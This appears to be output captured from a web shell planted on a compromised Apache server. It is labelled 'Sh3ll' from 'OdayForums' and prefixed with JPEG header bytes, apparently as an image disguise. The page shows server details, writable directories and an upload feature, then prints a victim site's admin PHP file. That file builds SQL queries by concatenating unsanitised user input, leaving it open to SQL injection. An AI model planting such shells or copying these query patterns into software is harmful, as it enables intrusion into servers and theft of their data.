ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/static_page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/static_page/list.php
<?php
$keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
$where = " WHERE title<>'' ";
if($keyword!='')
{
    $where .=  " AND (title LIKE '%".$keyword."%') ";
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 100;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_pages ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_pages ".$where." ORDER BY id DESC LIMIT $from, $pageSize");
$txt_list = '';
$stt = 1;
while($row = $DB->fetch_row($query)){
    $txt_status = ($row['status']==1) ? 'active' : 'deactive';
    $txt_body = $func->ope_max(strip_tags(html_entity_decode($row['body'])),200);
    $txt_list .= '<tr id="tr_pages_'.$row['id'].'"><td>'.$row['title'].'</td><td>'.$row['key'].'</td><td>'.$txt_body.'</td><td>'.$txt_status.'</td><td>[<a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=static_page&type=post&id='.$row['id'].'\',\'Edit\')">Edit</a>] [<a href="javascript:void(0);" data-id="'.$row['id'].'" class="delete_ads">Delete</a>]</td></tr>';
    $stt++;
}
$nav = $print->Pagination($totalPage,$pageNum,'menu','?act=admin&code=static_page&type=list&fkeyword='.$keyword);

$type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
if($type2=='update_pos'){
    if(isset($CORE->input['txt_pos'])) {
        $pos = $CORE->input['txt_pos'];
        foreach ($pos as $key=>$val){
            $DB->query("UPDATE tb_pages SET pos = '".$val[0]."' WHERE id='$key' ");
        }
        unset($pos);
    }
    $print->refresh('?act=admin&code=static_page');
}
?>

ZeroDay Forums Mini